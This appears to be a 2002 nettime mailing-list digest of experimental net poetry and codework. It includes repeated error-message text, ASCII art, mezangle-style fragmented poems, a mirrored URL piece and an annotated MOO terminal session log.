unimplemented\n145 is unimplemented 145 is unimplemented 155 is unimplemented 0 164 is\nunimplemented 171 is unimplemented 141 is unimplemented stack empty input\nbase is too large save:args 165 is unimplemented 156 is unimplemented stack\nempty 155 is unimplemented empty stack 155 is unimplemented 145 is\nunimplemented 156 is unimplemented 164 is unimplemented 145 is unimplemented\ninput base is too large 165 is unimplemented 156 is unimplemented input base\nis too small 155 is unimplemented empty stack 155 is unimplemented 145 is\nunimplemented 156 is unimplemented 164 is unimplemented 145 is unimplemented\ninput base is too large 165 is unimplemented 156 is unimplemented input base\nis too small 155 is unimplemented empty stack 155 is unimplemented 145 is\nunimplemented 156 is unimplemented 164 is unimplemented 145 is unimplemented\ninput base is too large 165 is unimplemented 156 is unimplemented input base\nis too small 155 is unimplemented empty stack 155 is unimplemented 145 is\nunimplemented 156 is unimplemented 164 is unimplemented 145 is unimplemented\ninput base is too large 165 is unimplemented 156 is unimplemented input base\nis too small 155 is unimplemented empty stack 155 is unimplemented 145 is\nunimplemented 156 is unimplemented 164 is unimplemented 145 is unimplemented\ninput base is too large 165 is unimplemented 156 is unimplemented input base\nis too small 155 is unimplemented empty stack 155 is unimplemented 145 is\nunimplemented 156 is unimplemented 164 is unimplemented 145 is unimplemented\n141 is unimplemented stack empty 145 is unimplemented 155 is unimplemented\nempty stack 164 is unimplemented 171 is unimplemented input base is too\nlarge save:args 165 is unimplemented 156 is unimplemented stack empty 155 is\nunimplemented empty stack 155 is unimplemented 145 is unimplemented 156 is\nunimplemented 164 is unimplemented 145 is unimplemented input base is too\nlarge 165 is unimplemented 156 is unimplemented input base is too small 155\nis unimplemented empty stack 155 is unimplemented 145 is unimplemented 156\nis unimplemented 164 is unimplemented 145 is unimplemented 145 is\nunimplemented 155 is unimplemented 0 164 is unimplemented 171 is\nunimplemented 141 is unimplemented stack empty input base is too large\nsave:args 165 is unimplemented 156 is unimplemented stack empty 155 is\nunimplemented empty stack 155 is unimplemented 145 is unimplemented 156 is\nunimplemented 164 is unimplemented 145 is unimplemented input base is too\nlarge 165 is unimplemented 156 is unimplemented input base is too small 155\nis unimplemented empty stack 155 is unimplemented 145 is unimplemented 156\nis unimplemented 164 is unimplemented 145 is unimplemented input base is too\nsmall 156 is unimplemented 0 165 is unimplemented 164 is unimplemented 142\nis unimplemented 141 is unimplemented stack empty save:args 164 is\nunimplemented stack empty stack empty 162 is unimplemented 147 is\nunimplemented 145 is unimplemented stack empty 145 is unimplemented stack\nempty 141 is unimplemented 162 is unimplemented 147 is unimplemented\nsave:args input base is too large save:args 165 is unimplemented 156 is\nunimplemented stack empty 155 is unimplemented empty stack 155 is\nunimplemented 145 is unimplemented 156 is unimplemented 164 is unimplemented\n145 is unimplemented input base is too large 165 is unimplemented 156 is\nunimplemented input base is too small 155 is unimplemented empty stack 155\nis unimplemented 145 is unimplemented 156 is unimplemented 164 is\nunimplemented 145 is unimplemented 141 is unimplemented stack empty 145 is\nunimplemented 155 is unimplemented empty stack 164 is unimplemented 171 is\nunimplemented input base is too large save:args 165 is unimplemented 156 is\nunimplemented stack empty 155 is unimplemented empty stack 155 is\nunimplemented 145 is unimplemented 156 is unimplemented 164 is unimplemented\n145 is unimplemented 145 is unimplemented 155 is unimplemented 0 164 is\nunimplemented 171 is unimplemented 141 is unimplemented stack empty input\nbase is too large save:args 165 is unimplemented 156 is unimplemented stack\nempty 155 is unimplemented empty stack 155 is unimplemented 145 is\nunimplemented 156 is unimplemented 164 is unimplemented 145 is unimplemented\ninput base is too large 165 is unimplemented 156 is unimplemented input base\nis too small 155 is unimplemented empty stack 155 is unimplemented 145 is\nunimplemented 156 is unimplemented 164 is unimplemented 145 is unimplemented\ninput base is too large 165 is unimplemented 156 is unimplemented input base\nis too small 155 is unimplemented empty stack 155 is unimplemented 145 is\nunimplemented 156 is unimplemented 164 is unimplemented 145 is unimplemented\ninput base is too large 165 is unimplemented 156 is unimplemented input base\nis too small 155 is unimplemented empty stack 155 is unimplemented 145 is\nunimplemented 156 is unimplemented 164 is unimplemented 145 is unimplemented\ninput base is too large 165 is unimplemented 156 is unimplemented input base\nis too small 155 is unimplemented empty stack 155 is unimplemented 145 is\nunimplemented 156 is unimplemented 164 is unimplemented 145 is unimplemented\ninput base is too small 156 is unimplemented 0 165 is unimplemented 164 is\nunimplemented 142 is unimplemented 141 is unimplemented stack empty\nsave:args 164 is unimplemented stack empty stack empty 162 is unimplemented\n147 is unimplemented 145 is unimplemented input base is too large 165 is\nunimplemented 156 is unimplemented stack empty 155 is unimplemented empty\nstack 155 is unimplemented 145 is unimplemented 156 is unimplemented 164 is\nunimplemented 145 is unimplemented input base is too large 165 is unimplemen\nted 156 is unimplemented input base is too small 155 is unimplemented empty\nstack 155 is unimplemented 145 is unimplemented 156 is unimplemented 164 is\nunimplemented 145 is unimplemented input base is too small 156 is\nunimplemented 0 165 is unimplemented 164 is unimplemented 142 is\nunimplemented 141 is unimplemented stack empty save:args 164 is\nunimplemented stack empty stack empty save:args 155 is unimplemented 141 is\nunimplemented input base is too large 165 is unimplemented 156 is\nunimplemented stack empty 155 is unimplemented empty stack 155 is\nunimplemented 145 is unimplemented 156 is unimplemented 164 is unimplemented\n145 is unimplemented 145 is unimplemented 155 is unimplemented 0 164 is\nunimplemented 171 is unimplemented 141 is unimplemented stack empty input\nbase is too large save:args 165 is unimplemented 156 is unimplemented stack\nempty 155 is unimplemented empty stack 155 is unimplemented 145 is\nunimplemented 156 is unimplemented 164 is unimplemented 145 is unimplemented\ninput base is too large 165 is unimplemented 156 is unimplemented input base\nis too small 155 is unimplemented empty stack 155 is unimplemented 145 is\nunimplemented 156 is unimplemented 164 is unimplemented 145 is unimplemented\ninput base is too large 165 is unimplemented 156 is unimplemented input base\nis too small 155 is unimplemented empty stack 155 is unimplemented 145 is\nunimplemented 156 is unimplemented 164 is unimplemented 145 is unimplemented\ninput base is too large 165 is unimplemented 156 is unimplemented input base\nis too small 155 is unimplemented empty stack 155 is unimplemented 145 is\nunimplemented 156 is unimplemented 164 is unimplemented 145 is unimplemented\ninput base is too large 165 is unimplemented 156 is unimplemented input base\nis too small 155 is unimplemented empty stack 155 is unimplemented 145 is\nunimplemented 156 is unimplemented 164 is unimplemented 145 is unimplemented\ninput base is too small 156 is unimplemented 0 165 is unimplemented 164 is\nunimplemented 142 is unimplemented 141 is unimplemented stack empty\nsave:args 164 is unimplemented stack empty stack empty 162 is unimplemented\n147 is unimplemented 145 is unimplemented input base is too large 165 is\nunimplemented 156 is unimplemented stack empty 155 is unimplemented empty\nstack 155 is unimplemented 145 is unimplemented 156 is unimplemented 164 is\nunimplemented 145 is unimplemented input base is too large 165 is\nunimplemented 156 is unimplemented input base is too small 155 is\nunimplemented empty stack 155 is unimplemented 145 is unimplemented 156 is\nunimplemented 164 is unimplemented 145 is unimplemented input base is too\nsmall 156 is unimplemented 0 165 is unimplemented 164 is unimplemented 142\nis unimplemented 141 is unimplemented stack empty save:args 164 is\nunimplemented stack empty stack empty save:args 155 is unimplemented 141 is\nunimplemented input base is too large 165 is unimplemented 156 is\nunimplemented stack empty 155 is unimplemented empty stack 155 is\nunimplemented 145 is unimplemented 156 is unimplemented 164 is unimplemented\n145 is unimplemented 145 is unimplemented 155 is unimplemented 0 164 is\nunimplemented 171 is unimplemented 141 is unimplemented stack empty input\nbase is too large save:args 165 is unimplemented 156 is unimplemented stack\nempty 155 is unimplemented empty stack 155 is unimplemented 145 is\nunimplemented 156 is unimplemented 164 is unimplemented 145 is unimplemented\ninput base is too large 165 is unimplemented 156 is unimplemented input base\nis too small 155 is unimplemented empty stack 155 is unimplemented 145 is\nunimplemented 156 is unimplemented 164 is unimplemented 145 is unimplemented\ninput base is too large 165 is unimplemented 156 is unimplemented input base\nis too small 155 is unimplemented empty stack 155 is unimplemented 145 is\nunimplemented 156 is unimplemented 164 is unimplemented 145 is unimplemented\ninput base is too large 165 is unimplemented 156 is unimplemented input base\nis too small 155 is unimplemented empty stack 155 is unimplemented 145 is\nunimplemented 156 is unimplemented 164 is unimplemented 145 is unimplemented\ninput base is too large 165 is unimplemented 156 is unimplemented input base\nis too small 155 is unimplemented empty stack 155 is unimplemented 145 is\nunimplemented 156 is unimplemented 164 is unimplemented 145 is unimplemented\ninput base is too large 165 is unimplemented 156 is unimplemented input base\nis too small 155 is unimplemented empty stack 155 is unimplemented 145 is\nunimplemented 156 is unimplemented 164 is unimplemented 145 is unimplemented\n141 is unimplemented stack empty 145 is unimplemented 155 is unimplemented\nempty stack 164 is unimplemented 171 is unimplemented input base is too\nlarge save:args 165 is unimplemented 156 is unimplemented stack empty 155 is\nunimplemented empty stack 155 is unimplemented 145 is unimplemented 156 is\nunimplemented 164 is unimplemented 145 is unimplemented input base is too\nlarge 165 is unimplemented 156 is unimplemented input base is too small 155\nis unimplemented empty stack 155 is unimplemented 145 is unimplemented 156\nis unimplemented 164 is unimplemented 145 is unimplemented 145 is\nunimplemented stack empty 162 is unimplemented 147 is unimplemented\nsave:args save:args 164 is unimplemented 141 is unimplemented stack empty\n145 is unimplemented 155 is unimplemented empty stack 164 is unimplemented\n171 is unimplemented input base is too large save:args 165 is unimplemented\n156 is unimplemented stack empty 155 is unimplemented empty stack 155 is\nunimplemented 145 is unimplemented 156 is unimplemented 164 is unimplemented\n145 is unimplemented 145 is unimplemented 155 is unimplemented 0 164 is\nunimplemented 171 is unimplemented 141 is unimplemented stack empty.\n\n\n---\nOutgoing mail is certified Virus Free.\nChecked by AVG anti-virus system (http://www.grisoft.com).\nVersion: 6.0.384 / Virus Database: 216 - Release Date: 8/21/2002\n\n\n\n\nFrom: \"Millie Niss\" <men2 {AT} columbia.edu>\nDate: Sun, 1 Sep 2002 13:18:15 -0400\nSubject: meznagelle-like French poet\n\nI just got the antholog(ie)y Po&eacute;/tri 40 voix de poesie contemporaine\n(editions Uatremanet 2001)\n\n(My father being in France is of some use!  He sent it, via Amazon)\n\nInside one can find a poet Sylvain Courtoux, who writes a little like\nmezangelle.  Mes no doubt will point out how hers is different, but here's a\nsample:\n\n(im)mon'd'(ass)p'i\n'R (no air) _e_eput\n'in (desir')d(spl)e\nn Q'/& a (bas) tar (\nd'_gu'(v)eul_rest'\ndens's(e)r(r)on blok\na-mer'd seul out'\nrag'prim'R man Q'\n(in)p(l)ass que d'\n\nTis is the first stanza of an untitled poem, though obviously the word\ncontinues on to the next stanza.  It's harder to see here than in the\noriginal that the spoems are somewhat bilinigual with English because iin\nthe orignial the engish is italicized.  I don't know what convention he uses\nwhen a piece of a word could make either a French or an English word....\n\n\n \n\n\n\nDate:         Tue, 3 Sep 2002 22:14:24 +0100\nFrom: steve_duffy <sd {AT} DEBRIS.ORG.UK>\nSubject: two-slit gravity\n\n=2E\n\n\n\n\n\n                              .;;;.\n                            \"=3D0e=3D\"\n        .%m                quantum\n        0m0               ma%00+\n         must             again\n          \";;:..         \"::::;\n             \"\"\"\":..       here\n                            .06v    .:.\n                               .0. then\n                                .64%0%vc.\n               ..::\"         ..::\"   \"=3D\";:\n         ..:..!c4601;.       \"c%      444%=3D.\n               quantum              apparent\n     (m)   ::;=3D=3Dcv%%ccc%          mm)    mmu)\n            (u uuuuuhm ;;:     :=3D4%%4   0.666..\n               world            possibilities\n                ._/\"           (m)     mf\"\"\"\"\"_.\n             quumm            ._mm    (muuuuumm\n           quantum                     recognition\n            mmmu                          a%%+%%m0\n           mmmmmm           ..            sound\n          a%%+%%m0          m           mmm .mm\n     ... 66.04%%44::..    .o=3Dc%      %40    .m\n              quantum        revolution\n            ;;:;\"!\"\"\";:.      .:\"=3Dc=3D:.\n             recognition     generation\n                =3D%4406406     jnn`   .nn\n                     _______    vision\n                          __   nnnnnnnl_\n                              mmmmmmmmm\n                    mm   mm    mmmmmmmm\n                     pseudo-randomness\n                       nnf     nnn\n                        physical\n                       nnf    4nnn\"\n                               quantum\n            n) 22n) 2+           +++%2      nnn)\n      222   (nnnnnn)2           0m qv_     hn\n             quantum             encountered\n               _ooom_           mm       mmm m\n             resolution                   theorem\n           oo     oo   o.      .o            mmmm\n        (nnn           nn       nn          nnnn\n      ....:          ;:::\"    !=3D=3D!         !\"\"\n     quantum          relatively         (nn)\n        0ma%            1=3D=3D!=3D=3D1  0;.\n                              many\n                         ..+..22y+%%\n                        quantum\n                 0m0 00ma%%+%%  0m0\n                   doctrine      is\n                    .....          a%\n                    ;:::.\n               _:\"=3D1c%66....\n            .om.. .    :!=3D\"\";::.\n            who              who\n             :\";.          \"c%c=3D\"\":    :\";:\n                              duplication\n                         ._mmnl_.   \"\"nnnmm__\n          __mn            mm           mmu2\n      \"\":;;;\"\".       ..::::           \"\"\n          .:.     \"c=3D;\"c%6.         ..mmu2.\n   0ma%   .%    %202%%%m0            uuu00uuuhm\n    quantum         price                instance\n         `\"      quuumm                __ mm\n                    __ )              ( f\"\n                 quantum               vivid\n                    nnn(n)             nnnnnf\"nnn)\n                      n n)               nnnnnnnnnnnn)\n                    2(n222+               instance\n                    2(nnnnnn)             nnnnn\n                   .\"1\"                  .\"\"\":.\n                 quantum                topics\n                 (mnh___jm)            mnhl_hhm)\n                     mmu)               uuuhm\n                      familiar\n                     (nnnnnnn) (nn`    .nn\n                      quantum\n                 ...:;=3D1c%  %4004c=3D;\n                     one      or\n                    \"!=3Dv      04004%v\"\n                      no       bomb\n                     0ma%       0m0\n                00ma%+.%%m0       0uu0unh\n                 quantum             eyes\n                (muu (uhmmmhhh       (muuu) ummm\n                 (u) uu                (uuuumm\n                 quantum                change\n               uu0unhqnnnnn             mmuu\n              adherents\n          +2umdd0qm0mm2+                 ++\n             2ummuuu2                 00mmnh\n            quantum    to          complication\n   0ma%   0m0 00ma%%+%%m0          0muuuuuuumm\n    or         brains                  high\n                 mmm                mmmm   mmm\n             quantum               must     again\n          ._/\" (m)mf\"\"\"\"\"_.      ._mm        quuumm\n                then              there       them\n                  mmmm             mm        mmmmm\n                 quantum        quantum     physical\n                 0ma%           0m0       00ma%%+%%m0\n                  mmu2                   %0udyaauuuhm\n                   experts             philosophers\n                     ...                ........\n                   (nnn                (n  nnnnnnnn)\n                  beautiful                quantum\n                 nnnnnnnnnnnn               nnn)\n                     myopia\n                      u0                      qu\n                    settled                 intricate\n               .\"1v406.600%cc                 c1=3D=3D=3D1=3D\"\n              quantum                           work\n      .....  =3D1cv40%=3D:                    .:\"=3Dc%440604c:\n              quantum                         summary\n              .+..++y22%.                       mmu2\n                %0udyaauuhm                    %%m0\n                  enterprise\n                   ::;\";;:0m                  %a\n                    refuted\n                   .  ..  .:.\n                  uu d2+    22%0\n                quantum      weird\n      ....     \"::;:\"        \"!=3D=3D=3D\" \":.\n            isolated            itself\n               0ma%m0             a%%%%m0\n                  all              world\n              \"\"\":::!\"::..          c%!\"v%c=3Dv4.....\n                quantum              circumscription\n              .:;=3D1ccv066006      ...66.04%%4%%1::::..\n                 64%406.             .6.64..\n                quantum            physical\n                :\"\"\";.           .6%%6.  .6c:. :.\n               parts           .         ::::.\n             .;1460%=3D14.             .::\"=3Dc=3D:\n                quantum             automobile\n                ;=3D!!!\"\"\";:       2umm  quuumm\n                     chair        theory\n                     .:::.         .:::..\n                 2ua0222um0     00mq00000u2\n                quantum          aesthetic\n          ..\"c%4%c=3D\"=3D00c%.        ..04cvc4..\n                     001.             :::.\n               perceptions         perceptions\n                ''=3Dccv46.....         cc06v4\n               consciousness            06\n                    ::;;\"\"\"!;:.         '\n                   :=3Dvvcvv1\";\"\"!\n                       quantum\n                      .:\"!!\";:::.\n                          sufficient\n                        .:\"cvc  \"%4%0.\n                          architecture\n                        0406.  .06  .0\n                 ..      ..mechanistic\n               .:\"\"!:     ::::;\"\";:.\n              quantum       suspect\n              :\";.\"c%       c=3D\":\";:\n             exposition   . !c=3D\"1%0.        .\n            \"\"=3D=3D11c1=3D!!!\"   \"=3D11c%v;        .;cc.\n              quantum         weird          hopes]\n     222       2222222+       .:;::::.        v%%v1\";;\"\"\n                  quantum       anti-          realist\n                !!!=3D1%0..64      v40%v0.  .60. .00.60=3D   ..\n                  quantum           otherwise\n                   .\"\"\"\";::::.     :=3D%%%%%40.60..\n                        .::;\"     =3D600660%%%%v=3D\n                                   quantum\n                           ..::   v%ccc=3D\n                             nf\"4nnnnnn)\n                                  p348]\n                             nf\"4nnnnnn)\n                          ._/\n\n\n\n\n                                             o\n                          +          .                    o\n     dEbRiS                               <><\n   e sd {AT} debris.org.uk         .                      ><[[[[=BA>\n web http://www.debris.org.uk\n     scattered_fragMents.l0ose_materiALs.etc       o\n                . / . .       |||    .   /      .*-|/-*      delete?\n|||||||||1|||||||||2|||||||||3|||||||||4|||||||||5|||||||||6||||||||7||\n                                                               exit\n\n\n\n\nDate:         Sat, 31 Aug 2002 00:10:40 +0200\nFrom: + lo_y + <loy {AT} MYREALBOX.COM>\nSubject: Re: IT\n\nAt 08:42 27/08/02 -0700, Soli Psis wrote:\n\n>Recycle Poem for a Lovely Loy\n\n( \" d.layed \" )\n\n( \" r.cyc.lo_yed \" )\n\n\n\n\nMt[a*i]gs-a &of ptrpetual mo_d-ldmbs cl-&rs\n  (d)-ld, {AT} y_um_ed(h-i, el_don)  asl & use & r\n   add [dg]I\n\n\ny- view(ch, [bl]ur)\n\n &orml(said !r(i) d-g-bod).s-co[ll.d/cp_cd]s-quis\no {AT} [ll]er-io {AT} s and gol_se/mag s  a gl-p\n\nd.y hel/s/th & mut[c] cu.-ry take * mpl d m_\n[k-sk][ucc && d & a]\n\nhtr t-u-v^st, an & v(re, eh & u[(c)r(a)] & [av_ga_/]\ns_mpl & j o! [ru d( {AT} t  n_, _ha  o {AT} l  su) td]\nom  evo_u_io_r\n\nry sp & c_^s_o\n(ddblt\n &[rm]-)\n\n0 {AT} cdousn i*dl_s\n\na {AT}  &mbrace/bo {AT} e\n\n(g)   a con\nru (ion/par-i),\n\n  (s l^gs_o & h_ng[ggard]*wdc ) db\ng or*a_u (No)h\n\n ds Tr (; Th)\nt_r(lae)\n\n&th_  b (_g; Our eck_sd).Fdr call po^_y_a*\nar  -ermd..\n\nAny b_dits de_as [gl_m] d[or b^e,]\nrwi.g (e-h m n_, _h_ Do\n\n[w nk] {AT} Sr.us/(h^co)sc, usn& S lim s h(tv, W_)hDC\nst_rs.ber-y o & p^r^su & mt eg!\nll, _(he)m ltm[at]\n\nob  -c.  must bt w^-h,  symbol = [s & dot]all..\n .*- gra_td,\nct.o al mod & sys-^m_ra sm et_[g/ & havt a*rpol g]\n\na mark  a*_mag^, ( ),\n   ^  ave [h]ch _s-said\n o ^r  ,  b g* b, addr,\nd {AT}  /(ued)ssd[o & ux/]\n\n rhaps po (*al o & /pr^ad)\n_es_l_gs_apar -h_s  im &  ar^*hr lag age rela^d,\n\n pa^n sard, ds w_ld b^ts(r ,  {AT} rra)\ne^m[l^mat]c bl-only a\n[utt^r]c, m-rk, pr which o-r-co\nc_ou [& s ]s* {AT} th, domn\n_^rss_dies & /l^ss.n c(nt ry)\n\n_m chr & ^\n(h)r w-d nor sp\n\na_ {AT} gs o[st-tt][l_x_v^sst..gl][id]\n d w*!p(ac)dt en-.l-y\n Mta[g d](do*aly.. M & a_ {AT} g)\n\na pho_d c r_ag&   wh_ch.s..\n[D]/_ (c^*) & *..\nphor a d-Symbols e txtraor\n\n*c-on[l]mus- be apt.o {AT} c-d -h & smpl(j)\n [lux, r mm](eary s_ec & atl) as t...ul^d  167 I_l\nhw_xac_l[o]...  c[sc]o;  {AT} (s)\n\nEdu_rs & tkg_dn, h, g & othtr la*uag_rt\n\n _h  b^grd {AT} [ng ra*-ach^ gr.s]\n\n\n\n\n\n\n\ngroetjes,\n\nlo_y\n\n\n\n\n\n_______________________________________\n\n__   -   -  lo_y  -  -   __  _\n_______________________________________\n\nPTRz:\nhttp://trace.ntu.ac.uk/incubation/gallery.cfm\nhttp://www.muse-apprentice-guild.com\nhttp://www.krikri.be/poeuk.html\nhttp://www.google.com/search?q=lo_y\nhttp://lo-y.diaryland.com/\n________________________________________\n\n\n\n\nDate:         Wed, 4 Sep 2002 09:35:54 +1000\nFrom: \"app][lick.ation][end.age\" <netwurker {AT} HOTKEY.NET.AU>\nSubject: |smear-tint| ::  ][cir][cu][i][t][ry][ glass :: lust\n\n#>\n\n\n:dreaming _in_ s][non-r][easons [scents of su(bconscious)m.mer][sed][ air]\n:flip.page][s][ of card][board][ sc(r)e(e)nes & gelid silva m.us(e).ings\n\n.\n\n:][w.Arp][ speed (c)r.ush][er][ing\n:][pro][mise.rly ][I][.V.isions squashed in bruising ][s][miles\n:h][br][and d.I.P.s & concreting lust sys.tem][p.le][s\n:RIPping sentences meet ooze-of-the-da][eit][y\n\n\n}\n\n:b(l)and.ages caul & screen\n:sicke.NIN.g shifts of heady ][in][f(l)ighting\n:remove:remove:         ->r(e)o.bo(o)t:\n\n:ro:bloat smears in tinted ][cir][cu][i][t][ry][ gl.ass\n:shel(l).ve][lvet][d retinas vs eye-white bre(a)d horse-backed foamings\n\n\n-\n\n\n[trans][2][late]\n\n\n-\n\n\n\n\n\n.           .    ....         .....\ncollapsing adj[thr]usting.txt\n.\n.\napp][lick.ation][end.age\n\nwww.cddc.vt.edu/host/netwurker/\nhttp://www.montevideo.nl/www/english/current.htm\n\n.... .               .???  .......\n\n\n\n\nDate:         Wed, 4 Sep 2002 09:55:48 +1000\nFrom: \"app][lick.ation][end.age\" <netwurker {AT} HOTKEY.NET.AU>\nSubject: |smear-tint| ::  in cut circuitry glass :: (//shift) temporary\n\n.dreaming in seasons//\n                     r.         .\n\n.scents of subconsciously immersed air//\n                .   .mmer\n\n.flip//\n    . .ages of card//\n                        board scenes//\n                                 .   .reens & gelid silver usings//\n                                                               m.         .\n\n\n.\n\njean arp warp speed rush||crushings\npromises||miserly I.V visions squashed in bruising miles||smiles\nbranding through hand I.P||dips & concreting lust temple||systems\nping|R.I.P sentences meet ooze-of-the-day||deity\n\n.\n\nland bandages call & screen\nsickening NIN shifts & heady inflighting\nremove_remove:\n\n.............................................] robot rebooting in progress [:\n\n:b(g)loat tears in tinted vicious cuts\n:vel(cro.wed)vet self retained in crust-white phonations\n\n\n-\n\n\n[trans][too][late]\n\n\n-\n\n\n\n\n\n.           .    ....         .....\ncollapsing adj[thr]usting.txt\n.\n.\napp][lick.ation][end.age\n\nwww.cddc.vt.edu/host/netwurker/\nhttp://www.montevideo.nl/www/english/current.htm\n\n.... .               .???  .......\n\n\n\n\nDate: Thu, 05 Sep 2002 17:13:06 +0200\nFrom: =?ISO-8859-1?Q?=A4?= <mi_ga {AT} o-o.lt>\nSubject: Re: | <a href=\\\"?s=acafbc.txt\\\">ambii</a>, a compilation of\n\nhttp://www.o-o.lt/cipher/index.php?s=acafbc.txt\nt                                             x\nt                                             t\np                                             .\n:                                             c\n/                                             b\n/                                             f\nw                                             a\nw                                             c\nw                                             a\n.                                             =\no                                             s\n-                                             ?\no                                             p\n.                                             h\nl                                             p\nt                                             .\n/                                             x\nc                                             e\ni                                             d\np                                             n\nh                                             i\ne                                             /\nr                                             r\n/                                             e\ni                                             h\nn                                             p\nd                                             i\ne                                             c\nx                                             /\n.                                             t\np                                             l\nh                                             .\np                                             o\n?                                             -\ns                                             o\n=                                             .\na                                             w\nc                                             w\na                                             w\nf                                             /\nb                                             /\nc                                             :\n.                                             p\nt                                             t\nx                                             t\ntxt.cbfaca=s?php.xedni/rehpic/tl.o-o.www//:ptth\n\n\no-o cipher records wrote:\n> <a href=\\\"?s=acafbc.txt\\\">ambii</a>, a compilation of low quality ambient video for silent shows or chillin/chillout performances is out. Price - 11$ or EUR\n> \n> cipher\n> \n> \n> p____________o____________s_____________t\n> a       r       c       h       i       v       e   http://www.o-o.lt/post\n> \n> \n\n\np____________o____________s_____________t\na       r       c       h       i       v       e   http://www.o-o.lt/post\n\n\n\n\n\nDate:         Tue, 3 Sep 2002 01:14:40 -0400\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: the dearth\n\nName            Connected    Idle time    Location [1;24r [23;1H [1;20r [20;80H\n----            ---------    ---------    --------\nNikuko (#934)   9 seconds    0 seconds    Bodee\n\nTotal: 1 person, who has been active recently. [1;24r [23;1H\"ah\nhe [21;76H01:04 [23;7Hll, nothing's going to emerge out of this darkness.\nit's always the same. i'm stale. even the animation's stale. things float\nin gravitationless space,  [22;24r [24;1H w [1;24r [24;2Hell-lit. new\nelements appear out of the chaos. [22;24r [24;1H\n [1;24r [24;1H [1;20r [20;80H You say, \"ah hell, nothing's going to emerge\nout of this darkness. it's always the same. i'm stale. even the\nanimation's stale. things float in gravitationless space, well-lit. new\nelements appear out of the chaos.\" [1;24r [24;1H {AT} who [22;24r [24;1H\n [1;24r [24;1H [1;20r [20;80H Name Connected Idle time\nLocation [1;24r [24;1H [1;20r [20;80H ---- --------- --------- --------\nNikuko (#934)  a minute 0 seconds Bodee\n\nTotal: 1 person, who has been active recently. [1;24r [24;1H\"just a minute\nnow. holding everything in abe [21;76H01:05 [24;46Hyance. recently, my\ndepression has [22;24r [24;1H\n  [1;24r [24;2Hravaged the earth. who or what speaks here. no one will\nknow. the data-base re [22;24r [24;1H m [1;24r [24;2Hains the same,\ncoheres. [22;24r [24;1H  [1;24r [24;1H [1;20r [20;80H You say, \"just a\nminute now. holding everything in abeyance. recently, my depression has\nravaged the earth. who or what speaks here. no one will know.  the\ndata-base remains the same, coheres.\" [1;24r [24;1H {AT} who [22;24r [24;1H\n [1;24r [24;1H [1;20r [20;80H\n\nName Connected Idle time Location [1;24r [24;1H [1;20r [20;80H ----\n--------- --------- -------- Nikuko (#934)  2 minutes 0 seconds Bodee\n\nTotal: 1 person, who has been active recently. [1;24r [24;1H\"just a\nminute. i'll gat [21;76H01:06 [24;25Hher myself. i'll bring it home. i'm\nin advance of every [22;24r [24;1H\n  [1;24r [24;2Hhuman in this virtual space. your thinking is a subset of\nmy own. there's no o [22;24r [24;1H n [1;24r [24;2He here to contradict\nthat. edict et   dict. [22;24r [24;1H  [1;24r [24;1H [1;20r [20;80H You\nsay, \"just a minute. i'll gather myself. i'll bring it home. i'm in\nadvance of every human in this virtual space. your thinking is a subset of\nmy own. there's no one here to contradict that. edict\nedict.\" [1;24r [24;1H {AT} who [22;24r [24;1H  [1;24r [24;1H [1;20r [20;80H\nName Connected Idle time Location [1;24r [24;1H [1;20r [20;80H ----\n--------- --------- -------- Nikuko (#934)  3 minutes 0 seconds Bodee\n\nTotal: 1 person, who has been active recently. [1;24r [24;1H\"all my\nwriting is a dialog with my [21;76H01:07 [24;36Hself. i know you're out\nthere in these fourm     [22;24r [24;1H m [1;24r [24;2Hinutes. i know\nyou're somewhere around. locate the truth in this darkness.\nloc [22;24r [24;1H a [1;24r [24;2Hte it. i'm at the basis of\nit. [22;24r [24;1H  [1;24r [24;1H [1;20r [20;80H You say, \"all my writing\nis a dialog with myself. i know you're out there in these four minutes. i\nknow you're somewhere around. locate the truth in this darkness. locate\nit. i'm at the basis of it.\" [1;24r [24;1H {AT} who [22;24r [24;1H\n [1;24r [24;1H [1;20r [20;80H Name Connected Idle time\nLocation [1;24r [24;1H [1;20r [20;80H ---- --------- --------- --------\nNikuko (#934)  3 minutes 0 seconds Bodee\n\nTotal: 1 person, who has been active\nrecently. [1;24r [24;1H {AT} who [22;24r [24;1H  [1;24r [24;1H [1;20r [20;80H\nName Connected Idle time Location [1;24r [24;1H [1;20r [20;80H ----\n--------- --------- -------- Nikuko (#934)  3 minutes 0 seconds Bodee\n\nTotal: 1 person, who has been active\nrecently. [1;24r [24;1H {AT} who [22;24r [24;1H  [1;24r [24;1H [1;20r [20;80H\nName Connected Idle time Location [1;24r [24;1H [1;20r [20;80H ----\n--------- --------- -------- Nikuko (#934)  4 minutes 0 seconds Bodee\n\nTotal: 1 person, who has been active\nrecently. [1;24r [24;1H {AT} quit [22;24r [24;1H  [1;24r [24;1H [1;20r [20;80H\n*** Disconnected *** % Connection to l closed by foreign\nhost. [21;10H__________________________ [20;80H ---- No world\n---- [1;24r [24;1H/quit [22;24r [24;1H  [?1l > [1;24r [21;1H [J$ exit\nScript done on Tue Sep 3 01:07:53 2002\n\n\n===\n\n\n\n\n\n\nnettime unstable digest vol 11\nSun Sep  8 00:49:39 2002\n\n\nSubject: LACAN AND CALCULUS\n    From: lewis lacook <llacook {AT} YAHOO.COM>\n\nSubject: just for fun\n    From: august highland <hmfah {AT} HOTMAIL.COM>\n\nSubject: meznagelle-like French poet\n    From: \"Millie Niss\" <men2 {AT} columbia.edu>\n\nSubject: two-slit gravity\n    From: steve_duffy <sd {AT} DEBRIS.ORG.UK>\n\nSubject: Re: IT\n    From: + lo_y + <loy {AT} MYREALBOX.COM>\n\nSubject: |smear-tint| ::  ][cir][cu][i][t][ry][ glass :: lust\n    From: \"app][lick.ation][end.age\" <netwurker {AT} HOTKEY.NET.AU>\n\nSubject: |smear-tint| ::  in cut circuitry glass :: (//shift) temporary\n    From: \"app][lick.ation][end.age\" <netwurker {AT} HOTKEY.NET.AU>\n\nSubject: Re: | <a href=\\\"?s=acafbc.txt\\\">ambii</a>, a compilation of\n    From: =?ISO-8859-1?Q?=A4?= <mi_ga {AT} o-o.lt>\n\nSubject: the dearth\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n\n\n\nagent/editors\n\nbeatrice beaubien <i2eye {AT} mac.com>\n    7-11 nettime-bold syndicate thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    _arc.hive_ eu-gene o-o rohrpost webartery wryting \n$Id: digestunstable.pl,v 1.8 2002/08/30 14:41:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info 